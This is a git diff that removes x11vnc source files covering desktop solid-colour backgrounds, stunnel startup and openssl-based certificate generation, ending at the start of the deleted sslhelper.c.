- } else if (desktop == 3) {
- solid_cde(NULL);
- } else if (desktop == 4) {
- solid_xfce(NULL);
- }
- solid_on = 0;
- return;
- }
- if (! solid_str) {
- return;
- }
- if (solid_on && !strcmp(prev_str, solid_str)) {
- return;
- }
- if (strstr(solid_str, "guess:") == solid_str
- || !strchr(solid_str, ':')) {
- dtname = guess_desktop();
- rfbLog("guessed desktop: %s\n", dtname);
- } else {
- if (strstr(solid_str, "gnome:") == solid_str) {
- dtname = "gnome";
- } else if (strstr(solid_str, "kde:") == solid_str) {
- dtname = "kde";
- } else if (strstr(solid_str, "cde:") == solid_str) {
- dtname = "cde";
- } else if (strstr(solid_str, "xfce:") == solid_str) {
- dtname = "xfce";
- } else {
- dtname = "root";
- }
- }
-
- color = strchr(solid_str, ':');
- if (! color) {
- color = solid_str;
- } else {
- color++;
- if (*color == '\0') {
- color = solid_default;
- }
- }
- if (last_color) {
- free(last_color);
- }
- last_color = strdup(color);
-
- if (!strcmp(dtname, "gnome")) {
- desktop = 1;
- solid_gnome(color);
- } else if (!strcmp(dtname, "kde")) {
- desktop = 2;
- solid_kde(color);
- } else if (!strcmp(dtname, "cde")) {
- desktop = 3;
- solid_cde(color);
- } else if (!strcmp(dtname, "xfce")) {
- desktop = 4;
- solid_xfce(color);
- } else {
- desktop = 0;
- solid_root(color);
- }
- if (prev_str) {
- free(prev_str);
- }
- prev_str = strdup(solid_str);
- solid_on = 1;
-}
-
-
diff --git a/x11vnc/solid.h b/x11vnc/solid.h
deleted file mode 100644
index 4d45ace..0000000
--- a/x11vnc/solid.h
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_SOLID_H
-#define _X11VNC_SOLID_H
-
-/* -- solid.h -- */
-
-extern char *guess_desktop(void);
-extern unsigned long get_pixel(char *color);
-extern XImage *solid_image(char *color);
-extern void solid_bg(int restore);
-extern char *dbus_session(void);
-extern XImage *solid_root(char *color);
-extern void kde_no_animate(int restore);
-extern void gnome_no_animate(void);
-
-#endif /* _X11VNC_SOLID_H */
diff --git a/x11vnc/sslcmds.c b/x11vnc/sslcmds.c
deleted file mode 100644
index 7c4bdc1..0000000
--- a/x11vnc/sslcmds.c
+++ /dev/null
@@ -1,908 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- sslcmds.c -- */
-
-#include "x11vnc.h"
-#include "inet.h"
-#include "cleanup.h"
-#include "sslhelper.h"
-#include "ssltools.h"
-#include "connections.h"
-
-#if LIBVNCSERVER_HAVE_FORK
-#if LIBVNCSERVER_HAVE_SYS_WAIT_H
-#if LIBVNCSERVER_HAVE_WAITPID
-#define SSLCMDS
-#endif
-#endif
-#endif
-
-
-void check_stunnel(void);
-int start_stunnel(int stunnel_port, int x11vnc_port, int hport, int x11vnc_hport);
-void stop_stunnel(void);
-void setup_stunnel(int rport, int *argc, char **argv);
-char *get_Cert_dir(char *cdir_in, char **tmp_in);
-void sslScripts(void);
-void sslGenCA(char *cdir);
-void sslGenCert(char *ty, char *nm);
-void sslEncKey(char *path, int info_only);
-
-static pid_t stunnel_pid = 0;
-
-void check_stunnel(void) {
- static time_t last_check = 0;
- time_t now = time(NULL);
-
- if (last_check + 3 >= now) {
- return;
- }
- last_check = now;
-
- /* double check that stunnel is still running: */
-
- if (stunnel_pid > 0) {
- int status;
-#ifdef SSLCMDS
- waitpid(stunnel_pid, &status, WNOHANG);
-#endif
- if (kill(stunnel_pid, 0) != 0) {
-#ifdef SSLCMDS
- waitpid(stunnel_pid, &status, WNOHANG);
-#endif
- rfbLog("stunnel subprocess %d died.\n", stunnel_pid);
- stunnel_pid = 0;
- clean_up_exit(1);
- }
- }
-}
-
-int start_stunnel(int stunnel_port, int x11vnc_port, int hport, int x11vnc_hport) {
-#ifdef SSLCMDS
- char extra[] = ":/usr/sbin:/usr/local/sbin:/dist/sbin";
- char *path, *p, *exe;
- char *stunnel_path = NULL;
- struct stat verify_buf;
- struct stat crl_buf;
- int status, tmp_pem = 0;
-
- if (stunnel_pid) {
- stop_stunnel();
- }
- stunnel_pid = 0;
-
- path = getenv("PATH");
- if (! path) {
- path = strdup(extra+1);
- } else {
- char *pt = path;
- path = (char *) malloc(strlen(path)+strlen(extra)+1);
- if (! path) {
- return 0;
- }
- strcpy(path, pt);
- strcat(path, extra);
- }
-
- exe = (char *) malloc(strlen(path) + 1 + strlen("stunnel4") + 1);
-
- p = strtok(path, ":");
-
- exe[0] = '\0';
-
- while (p) {
- struct stat sbuf;
-
- sprintf(exe, "%s/%s", p, "stunnel4");
- if (! stunnel_path && stat(exe, &sbuf) == 0) {
- if (! S_ISDIR(sbuf.st_mode)) {
- stunnel_path = exe;
- break;
- }
- }
-
- sprintf(exe, "%s/%s", p, "stunnel");
- if (! stunnel_path && stat(exe, &sbuf) == 0) {
- if (! S_ISDIR(sbuf.st_mode)) {
- stunnel_path = exe;
- break;
- }
- }
-
- p = strtok(NULL, ":");
- }
- if (path) {
- free(path);
- }
-
- if (getenv("STUNNEL_PROG")) {
- free(exe);
- exe = strdup(getenv("STUNNEL_PROG"));
- stunnel_path = exe;
- }
-
- if (! stunnel_path) {
- free(exe);
- return 0;
- }
- if (stunnel_path[0] == '\0') {
- free(exe);
- return 0;
- }
-
- /* stunnel */
- if (no_external_cmds || !cmd_ok("stunnel")) {
- rfbLogEnable(1);
- rfbLog("start_stunnel: cannot run external commands in -nocmds mode:\n");
- rfbLog(" \"%s\"\n", stunnel_path);
- rfbLog(" exiting.\n");
- clean_up_exit(1);
- }
-
- if (! quiet) {
- rfbLog("\n");
- rfbLog("starting ssl tunnel: %s %d -> %d\n", stunnel_path,
- stunnel_port, x11vnc_port);
- }
-
- if (stunnel_pem && strstr(stunnel_pem, "SAVE") == stunnel_pem) {
- stunnel_pem = get_saved_pem(stunnel_pem, 1);
- if (! stunnel_pem) {
- rfbLog("start_stunnel: could not create or open"
- " saved PEM.\n");
- clean_up_exit(1);
- }
- } else if (!stunnel_pem) {
- stunnel_pem = create_tmp_pem(NULL, 0);
- if (! stunnel_pem) {
- rfbLog("start_stunnel: could not create temporary,"
- " self-signed PEM.\n");
- clean_up_exit(1);
- }
- tmp_pem = 1;
- if (getenv("X11VNC_SHOW_TMP_PEM")) {
- FILE *in = fopen(stunnel_pem, "r");
- if (in != NULL) {
- char line[128];
- fprintf(stderr, "\n");
- while (fgets(line, 128, in) != NULL) {
- fprintf(stderr, "%s", line);
- }
- fprintf(stderr, "\n");
- fclose(in);
- }
- }
- }
-
- if (ssl_verify) {
- char *file = get_ssl_verify_file(ssl_verify);
- if (file) {
- ssl_verify = file;
- }
- if (stat(ssl_verify, &verify_buf) != 0) {
- rfbLog("stunnel: %s does not exist.\n", ssl_verify);
- clean_up_exit(1);
- }
- }
- if (ssl_crl) {
- if (stat(ssl_crl, &crl_buf) != 0) {
- rfbLog("stunnel: %s does not exist.\n", ssl_crl);
- clean_up_exit(1);
- }
- }
-
- stunnel_pid = fork();
-
- if (stunnel_pid < 0) {
- stunnel_pid = 0;
- free(exe);
- return 0;
- }
-
- if (stunnel_pid == 0) {
- FILE *in;
- char fd[20];
- int i;
- char *st_if = getenv("STUNNEL_LISTEN");
-
- if (st_if == NULL) {
- st_if = "";
- } else {
- st_if = (char *) malloc(strlen(st_if) + 2);
- sprintf(st_if, "%s:", getenv("STUNNEL_LISTEN"));
- }
-
-
- for (i=3; i<256; i++) {
- close(i);
- }
-
- if (use_stunnel == 3) {
- char sp[30], xp[30], *a = NULL;
- char *st = stunnel_path;
- char *pm = stunnel_pem;
- char *sv = ssl_verify;
-
- sprintf(sp, "%d", stunnel_port);
- sprintf(xp, "%d", x11vnc_port);
-
- if (ssl_verify) {
- if(S_ISDIR(verify_buf.st_mode)) {
- a = "-a";
- } else {
- a = "-A";
- }
- }
-
- if (ssl_crl) {
- rfbLog("stunnel: stunnel3 does not support CRL. %s\n", ssl_crl);
- clean_up_exit(1);
- }
-
- if (stunnel_pem && ssl_verify) {
- /* XXX double check -v 2 */
- execlp(st, st, "-f", "-d", sp, "-r", xp, "-P",
- "none", "-p", pm, a, sv, "-v", "2",
- (char *) NULL);
- } else if (stunnel_pem && !ssl_verify) {
- execlp(st, st, "-f", "-d", sp, "-r", xp, "-P",
- "none", "-p", pm,
- (char *) NULL);
- } else if (!stunnel_pem && ssl_verify) {
- execlp(st, st, "-f", "-d", sp, "-r", xp, "-P",
- "none", a, sv, "-v", "2",
- (char *) NULL);
- } else {
- execlp(st, st, "-f", "-d", sp, "-r", xp, "-P",
- "none", (char *) NULL);
- }
- exit(1);
- }
-
- in = tmpfile();
- if (! in) {
- exit(1);
- }
-
- fprintf(in, "foreground = yes\n");
- fprintf(in, "pid =\n");
- if (stunnel_pem) {
- fprintf(in, "cert = %s\n", stunnel_pem);
- }
- if (ssl_crl) {
- if(S_ISDIR(crl_buf.st_mode)) {
- fprintf(in, "CRLpath = %s\n", ssl_crl);
- } else {
- fprintf(in, "CRLfile = %s\n", ssl_crl);
- }
- }
- if (ssl_verify) {
- if(S_ISDIR(verify_buf.st_mode)) {
- fprintf(in, "CApath = %s\n", ssl_verify);
- } else {
- fprintf(in, "CAfile = %s\n", ssl_verify);
- }
- fprintf(in, "verify = 2\n");
- }
- fprintf(in, ";debug = 7\n\n");
- fprintf(in, "[x11vnc_stunnel]\n");
- fprintf(in, "accept = %s%d\n", st_if, stunnel_port);
- fprintf(in, "connect = %d\n", x11vnc_port);
-
- if (hport > 0 && x11vnc_hport > 0) {
- fprintf(in, "\n[x11vnc_http]\n");
- fprintf(in, "accept = %s%d\n", st_if, hport);
- fprintf(in, "connect = %d\n", x11vnc_hport);
- }
-
- fflush(in);
- rewind(in);
-
- if (getenv("STUNNEL_DEBUG")) {
- char line[1000];
- fprintf(stderr, "\nstunnel config contents:\n\n");
- while (fgets(line, sizeof(line), in) != NULL) {
- fprintf(stderr, "%s", line);
- }
- fprintf(stderr, "\n");
- rewind(in);
- }
-
- sprintf(fd, "%d", fileno(in));
- execlp(stunnel_path, stunnel_path, "-fd", fd, (char *) NULL);
- exit(1);
- }
-
- free(exe);
- usleep(750 * 1000);
-
- waitpid(stunnel_pid, &status, WNOHANG);
-
- if (ssl_verify && strstr(ssl_verify, "/sslverify-tmp-load-")) {
- /* temporary file */
- usleep(1000 * 1000);
- unlink(ssl_verify);
- }
- if (tmp_pem) {
- /* temporary cert */
- usleep(1500 * 1000);
- unlink(stunnel_pem);
- }
-
- if (kill(stunnel_pid, 0) != 0) {
- waitpid(stunnel_pid, &status, WNOHANG);
- stunnel_pid = 0;
- return 0;
- }
-
- if (! quiet) {
- rfbLog("stunnel pid is: %d\n", (int) stunnel_pid);
- }
-
- return 1;
-#else
- return 0;
-#endif
-}
-
-void stop_stunnel(void) {
- int status;
- if (! stunnel_pid) {
- return;
- }
-#ifdef SSLCMDS
- kill(stunnel_pid, SIGTERM);
- usleep (150 * 1000);
- kill(stunnel_pid, SIGKILL);
- usleep (50 * 1000);
- waitpid(stunnel_pid, &status, WNOHANG);
-#endif
- stunnel_pid = 0;
-}
-
-void setup_stunnel(int rport, int *argc, char **argv) {
- int i, xport = 0, hport = 0, xhport = 0;
-
- if (! rport && argc && argv) {
- for (i=0; i< *argc; i++) {
- if (argv[i] && !strcmp(argv[i], "-rfbport")) {
- if (i < *argc - 1) {
- rport = atoi(argv[i+1]);
- }
- }
- }
- }
-
- if (! rport) {
- /* we do our own autoprobing then... */
- rport = find_free_port(5900, 5999);
- if (! rport) {
- goto stunnel_fail;
- }
- }
-
- xport = find_free_port(5950, 5999);
- if (! xport) {
- goto stunnel_fail;
- }
-
- if (https_port_num > 0) {
- hport = https_port_num;
- }
-
- if (! hport && argc && argv) {
- for (i=0; i< *argc; i++) {
- if (argv[i] && !strcmp(argv[i], "-httpport")) {
- if (i < *argc - 1) {
- hport = atoi(argv[i+1]);
- }
- }
- }
- }
-
- if (! hport && http_try_it) {
- hport = find_free_port(rport-100, rport-1);
- if (! hport) {
- goto stunnel_fail;
- }
- }
- if (hport) {
- xhport = find_free_port(5850, 5899);
- if (! xhport) {
- goto stunnel_fail;
- }
- stunnel_http_port = hport;
- }
-
-
- if (start_stunnel(rport, xport, hport, xhport)) {
- int tweaked = 0;
- char tmp[30];
- sprintf(tmp, "%d", xport);
- if (argc && argv) {
- for (i=0; i < *argc; i++) {
- if (argv[i] && !strcmp(argv[i], "-rfbport")) {
- if (i < *argc - 1) {
- /* replace orig value */
- argv[i+i] = strdup(tmp);
- tweaked = 1;
- break;
- }
- }
- }
- if (! tweaked) {
- i = *argc;
- argv[i] = strdup("-rfbport");
- argv[i+1] = strdup(tmp);
- *argc += 2;
- got_rfbport = 1;
- got_rfbport_val = atoi(tmp);
- }
- }
- stunnel_port = rport;
- ssl_initialized = 1;
- return;
- }
-
- stunnel_fail:
- rfbLog("failed to start stunnel.\n");
- clean_up_exit(1);
-}
-
-char *get_Cert_dir(char *cdir_in, char **tmp_in) {
- char *cdir, *home, *tmp;
- struct stat sbuf;
- int i;
- char *cases1[] = {"/.vnc", "/.vnc/certs", "/.vnc/certs/CA"};
- char *cases2[] = {"", "/CA", "/tmp"};
-
- if (cdir_in != NULL) {
- cdir = cdir_in;
- } else {
- cdir = ssl_certs_dir;
- }
-
- if (cdir == NULL) {
- home = get_home_dir();
- if (! home) {
- return NULL;
- }
- cdir = (char *) malloc(strlen(home) + strlen("/.vnc/certs/CA") + 1);
- for (i=0; i<3; i++) {
- sprintf(cdir, "%s%s", home, cases1[i]);
- if (stat(cdir, &sbuf) != 0) {
- rfbLog("creating dir: %s\n", cdir);
- if (mkdir(cdir, 0755) != 0) {
- rfbLog("could not create directory %s\n", cdir);
- rfbLogPerror("mkdir");
- return NULL;
- }
- } else if (! S_ISDIR(sbuf.st_mode)) {
- rfbLog("not a directory: %s\n", cdir);
- return NULL;
- }
- }
- sprintf(cdir, "%s%s", home, cases1[1]);
- }
-
- tmp = (char *) malloc(strlen(cdir) + strlen("/tmp") + 1);
- for (i=0; i<3; i++) {
- int ret;
- sprintf(tmp, "%s%s", cdir, cases2[i]);
- if (stat(tmp, &sbuf) != 0) {
- rfbLog("creating dir: %s\n", tmp);
- if (! strcmp(cases2[i], "/tmp")) {
- ret = mkdir(tmp, 0700);
- } else {
- ret = mkdir(tmp, 0755);
- }
-
- if (ret != 0) {
- rfbLog("could not create directory %s\n", tmp);
- rfbLogPerror("mkdir");
- return NULL;
- }
- } else if (! S_ISDIR(sbuf.st_mode)) {
- rfbLog("not a directory: %s\n", tmp);
- return NULL;
- }
- }
- sprintf(tmp, "%s/tmp", cdir);
- *tmp_in = tmp;
- return cdir;
-}
-
-static char *getsslscript(char *cdir, char *name, char *script) {
- char *openssl = find_openssl_bin();
- char *tmp, *scr, *cdir_use;
- FILE *out;
-
- if (! openssl || openssl[0] == '\0') {
- exit(1);
- }
-
- if (!name || !script) {
- exit(1);
- }
-
- cdir_use = get_Cert_dir(cdir, &tmp);
- if (!cdir_use || !tmp) {
- exit(1);
- }
-
- scr = (char *) malloc(strlen(tmp) + 1 + strlen(name) + 30);
-
- sprintf(scr, "%s/%s.%d.sh", tmp, name, getpid());
- out = fopen(scr, "w");
- if (! out) {
- rfbLog("could not open: %s\n", scr);
- rfbLogPerror("fopen");
- exit(1);
- }
- fprintf(out, "%s", script);
- fclose(out);
-
- rfbLog("Using openssl: %s\n", openssl);
- rfbLog("Using certs dir: %s\n", cdir_use);
- fprintf(stderr, "\n");
-
- set_env("BASE_DIR", cdir_use);
- set_env("OPENSSL", openssl);
-
- return scr;
-}
-
-void sslScripts(void) {
- fprintf(stdout, "======================================================\n");
- fprintf(stdout, "genCA script for '-sslGenCA':\n\n");
- fprintf(stdout, "%s\n", genCA);
- fprintf(stdout, "======================================================\n");
- fprintf(stdout, "genCert script for '-sslGenCert', etc.:\n\n");
- fprintf(stdout, "%s\n", genCert);
-}
-
-void sslGenCA(char *cdir) {
- char *cmd, *scr = getsslscript(cdir, "genca", genCA);
-
- if (! scr) {
- exit(1);
- }
-
- cmd = (char *)malloc(strlen("/bin/sh ") + strlen(scr) + 1);
- sprintf(cmd, "/bin/sh %s", scr);
-
- system(cmd);
- unlink(scr);
-
- free(cmd);
- free(scr);
-}
-
-void sslGenCert(char *ty, char *nm) {
- char *cmd, *scr = getsslscript(NULL, "gencert", genCert);
-
- if (! scr) {
- exit(1);
- }
-
- cmd = (char *)malloc(strlen("/bin/sh ") + strlen(scr) + 1);
- sprintf(cmd, "/bin/sh %s", scr);
-
- if (! ty) {
- set_env("TYPE", "");
- } else {
- set_env("TYPE", ty);
- }
- if (! nm) {
- set_env("NAME", "");
- } else {
- char *q = strstr(nm, "SAVE-");
- if (!strcmp(nm, "SAVE")) {
- set_env("NAME", "");
- } else if (q == nm) {
- q += strlen("SAVE-");
- set_env("NAME", q);
- } else {
- set_env("NAME", nm);
- }
- }
-
- system(cmd);
- unlink(scr);
-
- free(cmd);
- free(scr);
-}
-
-void sslEncKey(char *path, int mode) {
- char *openssl = find_openssl_bin();
- char *scr, *cert = NULL, *tca, *cdir = NULL;
- char line[1024], tmp[] = "/tmp/x11vnc-tmp.XXXXXX";
- int tmp_fd, incert, info_only = 0, delete_only = 0, listlong = 0;
- struct stat sbuf;
- FILE *file;
- static int depth = 0;
-
- if (depth > 0) {
- /* get_saved_pem may call us back. */
- return;
- }
-
- if (! path) {
- return;
- }
-
- depth++;
-
- if (mode == 1) {
- info_only = 1;
- } else if (mode == 2) {
- delete_only = 1;
- }
-
- if (! openssl) {
- exit(1);
- }
-
- cdir = get_Cert_dir(NULL, &tca);
- if (! cdir || ! tca) {
- fprintf(stderr, "could not find Cert dir\n");
- exit(1);
- }
-
- if (!strcasecmp(path, "LL") || !strcasecmp(path, "LISTL")) {
- listlong = 1;
- path = "LIST";
- }
-
- if (strstr(path, "SAVE") == path) {
- char *p = get_saved_pem(path, 0);
- if (p == NULL) {
- fprintf(stderr, "could not find saved pem "
- "matching: %s\n", path);
- exit(1);
- }
- path = p;
-
- } else if (!strcmp(path, "CA")) {
- tca = (char *) malloc(strlen(cdir)+strlen("/CA/cacert.pem")+1);
- sprintf(tca, "%s/CA/cacert.pem", cdir);
- path = tca;
-
- } else if (info_only && (!strcasecmp(path, "LIST") ||
- !strcasecmp(path, "LS") || !strcasecmp(path, "ALL"))) {
-
- if (! program_name || strchr(program_name, ' ')) {
- fprintf(stderr, "bad program name.\n");
- exit(1);
- }
- if (strchr(cdir, '\'')) {
- fprintf(stderr, "bad certdir char: %s\n", cdir);
- exit(1);
- }
-
- tca = (char *) malloc(2*strlen(cdir)+strlen(program_name)+1000);
-
- sprintf(tca, "find '%s' | egrep '/(CA|tmp|clients)$|"
- "\\.(crt|pem|key|req)$' | grep -v CA/newcerts", cdir);
-
- if (!strcasecmp(path, "ALL")) {
- /* ugh.. */
- strcat(tca, " | egrep -v 'private/cakey.pem|"
- "(CA|tmp|clients)$' | xargs -n1 ");
- strcat(tca, program_name);
- strcat(tca, " -ssldir '");
- strcat(tca, cdir);
- strcat(tca, "' -sslCertInfo 2>&1 ");
- } else if (listlong) {
- strcat(tca, " | xargs ls -ld ");
- }
- system(tca);
- free(tca);
-
- depth--;
- return;
-
- } else if (info_only && (!strcasecmp(path, "HASHON")
- || !strcasecmp(path, "HASHOFF"))) {
-
- tmp_fd = mkstemp(tmp);
- if (tmp_fd < 0) {
- exit(1);
- }
-
- write(tmp_fd, genCert, strlen(genCert));
- close(tmp_fd);
-
- scr = (char *) malloc(strlen("/bin/sh ") + strlen(tmp) + 1);
- sprintf(scr, "/bin/sh %s", tmp);
-
- set_env("BASE_DIR", cdir);
- set_env("OPENSSL", openssl);
- set_env("TYPE", "server");
- if (!strcasecmp(path, "HASHON")) {
- set_env("HASHON", "1");
- } else {
- set_env("HASHOFF", "1");
- }
- system(scr);
- unlink(tmp);
- free(scr);
-
- depth--;
- return;
- }
-
-
- if (stat(path, &sbuf) != 0) {
- if (strstr(path, "client") || strchr(path, '/') == NULL) {
- int i;
- tca = (char *) malloc(strlen(cdir) + strlen(path) + 100);
- for (i = 1; i <= 15; i++) {
- tca[0] = '\0';
- if ( i == 1) {
- sprintf(tca, "%s/%s", cdir, path);
- } else if (i == 2 && mode > 0) {
- sprintf(tca, "%s/%s.crt", cdir, path);
- } else if (i == 3) {
- sprintf(tca, "%s/%s.pem", cdir, path);
- } else if (i == 4 && mode > 1) {
- sprintf(tca, "%s/%s.req", cdir, path);
- } else if (i == 5 && mode > 1) {
- sprintf(tca, "%s/%s.key", cdir, path);
- } else if (i == 6) {
- sprintf(tca, "%s/clients/%s", cdir, path);
- } else if (i == 7 && mode > 0) {
- sprintf(tca, "%s/clients/%s.crt", cdir, path);
- } else if (i == 8) {
- sprintf(tca, "%s/clients/%s.pem", cdir, path);
- } else if (i == 9 && mode > 1) {
- sprintf(tca, "%s/clients/%s.req", cdir, path);
- } else if (i == 10 && mode > 1) {
- sprintf(tca, "%s/clients/%s.key", cdir, path);
- } else if (i == 11) {
- sprintf(tca, "%s/server-%s", cdir, path);
- } else if (i == 12 && mode > 0) {
- sprintf(tca, "%s/server-%s.crt", cdir, path);
- } else if (i == 13) {
- sprintf(tca, "%s/server-%s.pem", cdir, path);
- } else if (i == 14 && mode > 1) {
- sprintf(tca, "%s/server-%s.req", cdir, path);
- } else if (i == 15 && mode > 1) {
- sprintf(tca, "%s/server-%s.key", cdir, path);
- }
- if (tca[0] == '\0') {
- continue;
- }
- if (stat(tca, &sbuf) == 0) {
- path = tca;
- break;
- }
- }
- }
- }
-
- if (stat(path, &sbuf) != 0) {
- rfbLog("sslEncKey: %s\n", path);
- rfbLogPerror("stat");
- exit(1);
- }
-
- if (! info_only) {
- cert = (char *) malloc(2*(sbuf.st_size + 1024));
- file = fopen(path, "r");
- if (file == NULL) {
- rfbLog("sslEncKey: %s\n", path);
- rfbLogPerror("fopen");
- exit(1);
- }
- incert = 0;
- cert[0] = '\0';
- while (fgets(line, 1024, file) != NULL) {
- if (strstr(line, "-----BEGIN CERTIFICATE-----")
- == line) {
- incert = 1;
- }
- if (incert) {
- if (strlen(cert)+strlen(line) <
- 2 * (size_t) sbuf.st_size) {
- strcat(cert, line);
- }
- }
- if (strstr(line, "-----END CERTIFICATE-----")
- == line) {
- incert = 0;
- }
- }
- fclose(file);
- }
-
- tmp_fd = mkstemp(tmp);
- if (tmp_fd < 0) {
- exit(1);
- }
-
- write(tmp_fd, genCert, strlen(genCert));
- close(tmp_fd);
-
- scr = (char *) malloc(strlen("/bin/sh ") + strlen(tmp) + 1);
- sprintf(scr, "/bin/sh %s", tmp);
-
- set_env("BASE_DIR", "/no/such/dir");
- set_env("OPENSSL", openssl);
- set_env("TYPE", "server");
- if (info_only) {
- set_env("INFO_ONLY", path);
- } else if (delete_only) {
- set_env("DELETE_ONLY", path);
- } else {
- set_env("ENCRYPT_ONLY", path);
- }
- system(scr);
- unlink(tmp);
-
- if (! mode && cert && cert[0] != '\0') {
- int got_cert = 0;
- file = fopen(path, "r");
- if (file == NULL) {
- rfbLog("sslEncKey: %s\n", path);
- rfbLogPerror("fopen");
- exit(1);
- }
- while (fgets(line, 1024, file) != NULL) {
- if (strstr(line, "-----BEGIN CERTIFICATE-----")
- == line) {
- got_cert++;
- }
- if (strstr(line, "-----END CERTIFICATE-----")
- == line) {
- got_cert++;
- }
- }
- fclose(file);
- if (got_cert < 2) {
- file = fopen(path, "a");
- if (file == NULL) {
- rfbLog("sslEncKey: %s\n", path);
- rfbLogPerror("fopen");
- exit(1);
- }
- fprintf(file, "%s", cert);
- fclose(file);
- }
- free(cert);
- }
-
- depth--;
-}
-
diff --git a/x11vnc/sslcmds.h b/x11vnc/sslcmds.h
deleted file mode 100644
index 68a12df..0000000
--- a/x11vnc/sslcmds.h
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_SSLCMDS_H
-#define _X11VNC_SSLCMDS_H
-
-/* -- sslcmds.h -- */
-
-extern void check_stunnel(void);
-extern int start_stunnel(int stunnel_port, int x11vnc_port, int hport, int x11vnc_hport);
-extern void stop_stunnel(void);
-extern void setup_stunnel(int rport, int *argc, char **argv);
-extern char *get_Cert_dir(char *cdir_in, char **tmp_in);
-extern void sslScripts(void);
-extern void sslGenCA(char *cdir);
-extern void sslGenCert(char *ty, char *nm);
-extern void sslEncKey(char *path, int info_only);
-
-
-#endif /* _X11VNC_SSLCMDS_H */
diff --git a/x11vnc/sslhelper.c b/x11vnc/sslhelper.c
deleted file mode 100644
index 7057615..0000000
--- a/x11vnc/sslhelper.c
+++ /dev/null
@@ -1,4345 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- sslhelper.c -- */
-
-#include "x11vnc.h"
-#include "inet.h"
-#include "cleanup.h"
-#include "screen.h"
-#include "scan.h"
-#include "connections.h"
-#include "sslcmds.h"
-#include "unixpw.h"
-#include "user.h"
-
-#define OPENSSL_INETD 1
-#define OPENSSL_VNC 2
-#define OPENSSL_VNC6 3
-#define OPENSSL_HTTPS 4
-#define OPENSSL_HTTPS6 5
-#define OPENSSL_REVERSE 6
-
-#define DO_DH 0
-
-#if LIBVNCSERVER_HAVE_FORK
-#if LIBVNCSERVER_HAVE_SYS_WAIT_H && LIBVNCSERVER_HAVE_WAITPID
-#define FORK_OK
-#endif
-#endif
-
-int openssl_sock = -1;
-int openssl_sock6 = -1;
-int openssl_port_num = 0;
-int https_sock = -1;
-int https_sock6 = -1;
-pid_t openssl_last_helper_pid = 0;
-char *openssl_last_ip = NULL;
-
-static char *certret = NULL;
